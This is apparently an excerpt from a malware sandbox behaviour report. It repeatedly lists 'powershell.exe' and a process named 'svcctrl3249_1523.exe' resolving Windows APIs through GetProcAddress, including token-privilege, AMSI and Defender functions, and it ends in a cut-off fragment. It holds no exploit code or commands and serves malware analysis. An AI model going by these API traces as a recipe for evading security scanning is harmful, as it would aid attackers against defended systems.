SetWaitableTimerEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter EventActivityIdControl (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter EventWriteTransfer (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RegOpenKeyEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter LocalFree (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter LocalAlloc (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathNameW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetThreadErrorMode (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesExW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSize (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfo (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter VerQueryValue (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleName (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter LCIDToLocaleName (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetUserPreferredUILanguages (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageName (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter VerLanguageNameW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessId (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessIdW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValue (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter LookupPrivilegeValueW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcess (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessTokenW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivileges (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter AdjustTokenPrivilegesW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CloseHandle (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter OpenProcess (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter OpenProcessW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CoUninitialize (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter FindNLSStringEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RegQueryValueEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter ResolveLocaleName (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CompareStringOrdinal (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetFullPathName (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModules (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter EnumProcessModulesW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformation (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetModuleInformationW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseName (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetModuleBaseNameW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemAlloc (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CoTaskMemFree (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameExW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcess (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetExitCodeProcessW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPath (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SHGetFolderPathW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter EnumWindows (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter EnumWindowsW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessId (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetWindowThreadProcessIdW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributes (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetFileAttributesW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariable (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetEnvironmentVariableW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CreateFile (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CreateFileW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetFileType (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter NtQuerySystemInformationW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WerSetFlags (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguages (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetThreadPreferredUILanguagesW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguages (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetThreadPreferredUILanguagesW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetUserDefaultLocaleNameW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CoCreateGuid (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCP (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleCPW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WTGetSignatureInfo (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentConsoleFontExW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleMode (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleModeW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfo (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleScreenBufferInfoW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleMode (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleModeW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandler (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleCtrlHandlerW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandle (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContext (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContext (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CertGetCertificateContextProperty (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CertDuplicateCertificateContextW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateData (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WTHelperProvDataFromStateDataW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChain (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvSignerFromChainW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChain (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WTHelperGetProvCertFromChainW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrust (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WinVerifyTrustW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CertFreeCertificateContextW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetTokenInformationW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter LocalAllocW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter DuplicateTokenExW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembership (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CheckTokenMembershipW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitle (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleTitleW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitle (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTitleW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariable (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetEnvironmentVariableW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimes (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetProcessTimesW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetDynamicTimeZoneInformation (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetFileMUIPath (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter LoadLibraryExW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter FreeLibrary (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter LoadStringW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter AmsiInitialize (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoSizeExW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetFileVersionInfoExW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CreateWellKnownSid (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipe (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CreateNamedPipeW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter InitOnceExecuteOnce (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CreateEventExW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CreateSemaphoreExW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolTimer (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolTimer (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WaitForThreadpoolTimerCallbacks (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolTimer (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWait (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetThreadpoolWait (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWait (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter FlushProcessWriteBuffers (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter FreeLibraryWhenCallbackReturns (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentProcessorNumber (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CreateSymbolicLinkW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetTickCount64 (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetFileInformationByHandleEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetFileInformationByHandle (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetSystemTimePreciseAsFileTime (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WakeConditionVariable (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter InitializeSRWLock (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter TryAcquireSRWLockExclusive (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SleepConditionVariableSRW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CreateThreadpoolWork (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SubmitThreadpoolWork (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CloseThreadpoolWork (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CompareStringEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter AreFileApisANSI (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CreateEvent (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CreateEventW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter ConnectNamedPipe (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain_RetAddr (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter _CorDllMain (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetTargetForVTableEntry (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetTokenForVTableEntry_RetAddr (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetTargetForVTableEntry_RetAddr (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetEnabledXStateFeatures (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter sxsJitStartup (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter jitStartup (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter getJit (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStrings (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter ExpandEnvironmentStringsW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RegQueryInfoKey (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RegEnumKeyEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetTimeZoneInformation (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameExW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetUserName (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetUserNameW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountName (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter LookupAccountNameW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter EnumCalendarInfoExEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetCalendarInfoEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter EnumTimeFormatsEx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter ReleaseMutex (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSource (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RegisterEventSourceW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter DeregisterEventSource (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter ReportEvent (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter ReportEventW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetLogicalDrives (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetDriveType (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetDriveTypeW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformation (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetVolumeInformationW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPath (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter PathIsNetworkPathW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentDirectoryW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectory (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetSystemDirectoryW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WldpGetLockdownPolicy (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetTempPath (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetTempPathW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WriteFile (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SaferIdentifyLevel (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SaferComputeTokenFromLevel (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SaferCloseLevel (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter DeleteFile (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter DeleteFileW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetSystemInfo (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetEvent (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CoWaitForMultipleHandles (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguage (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetThreadUILanguageW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetStdHandleW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter AmsiOpenSession (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter AmsiScanBuffer (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter UnmapViewOfFile (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter ReadFile (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpManagerOpen (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpHandleClose (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpFreeMemory (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpScanStart (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpMemoryScanStart (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpScanResult (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpThreatOpen (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpThreatEnumerate (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpConfigOpen (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValue (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpConfigGetValueAlloc (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpConfigClose (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScanOpen (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpFastMemoryScan (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryInitialize (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryUninitialize (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpTelemetryAddToAverageDWORD (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiScan (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpAmsiCloseSession (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpConfigRegisterForNotifications (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpConfigUnregisterNotifications (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpClientUtilExportFunctions (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MpManagerVersionQuery (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter EventWrite (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter EventUnregister (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter IsWow64Process (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RegisterGPNotification (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter UnregisterGPNotification (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter RoGetParameterizedTypeInstanceIID (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFile (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter FindFirstFileW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter FindClose (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter FindNextFile (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter FindNextFileW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter QueryUnbiasedInterruptTime (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter AmsiCloseSession (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetACP (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetFilePointer (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetLastError (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter EncodePointer (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleOutputCP (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter ConvertSidToStringSidW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter BCryptGetFipsAlgorithmMode (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileName (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetModuleFileNameW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetFileSize (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetModuleHandleA (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetProcAddress (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter malloc (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MI_ApplicationWrapper_Initialize (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MI_Application_InitializeV1 (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_SetClrIsNotShuttingDown (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_GetCurrentSecurityToken (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetComputerName (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetComputerNameW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_Initialize (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeInstanceCallback (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteMessageCallback (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteProgressCallback (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeWriteErrorCallback (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativePromptUserCallback (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_SetupDrainingIfNeeded (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentThread (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetThreadToken (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_ScheduleDrainingWorkIfNeeded (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_DecrementCount_AndDontWorryAboutLifetimeOfMiDotNetDll (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter LsaClose (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter LsaFreeMemory (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter LsaOpenPolicy (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter LsaLookupSids (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetNetworkParams (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentThreadId (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttribute (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter SetConsoleTextAttributeW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter free (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_SessionHandle_OnReleaseHandleCompleted (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetAddr_OperationCallbacks_NativeStreamedParameterResultCallback (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCP (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetConsoleOutputCPW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfo (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter TranslateCharsetInfoW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter ReadConsoleOutput (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter ReadConsoleOutputW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleOutput (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter WriteConsoleOutputW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MI_OperationWrapper_GetInstance (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter AmsiUninitialize (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess_RetAddr (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CorExitProcess (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter DecodePointer (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MI_Helpers_SetClrIsShuttingDown (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MI_ApplicationWrapper_SetAppDomainIsUnloading (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter MI_ApplicationWrapper_ScheduleCleanupCallback (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter CreateActCtxW (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter AddRefActCtx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter ReleaseActCtx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter ActivateActCtx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter DeactivateActCtx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter GetCurrentActCtx (UID: 00000000-00001336) "powershell.exe" called "GetProcAddress" with a parameter QueryActCtxW (UID: 00000000-00001336) "svcctrl3249_1523.exe" called "GetProcAddress" with a parameter RtlGetVersion (UID: 00000000-00007864) "svcctrl3249_1523.exe" called "GetProcAddress" with a parameter CoCreateInstance (UID: 00000000-00007864) "svcctrl3249_1523.exe" called "GetProcAddress" with a parameter CoCreateInstanceEx (UID: 00000000-00007864) "svcctrl3249_1523.exe" called "GetProcAddress" with a parameter CoGetClassObject (UID: 00000000-00007864) "svcctrl3249_1523.exe" called "GetProcAddress" with a parameter CoGetInstanceFromFile (UID: 00000000-00007864) "svcctrl3249_1523.exe" called "GetProcAddress" with a parameter CoGetInstanceFromIStorage (UID: 00000000-00007864)4d:Tb5a,file/memory contains long string with 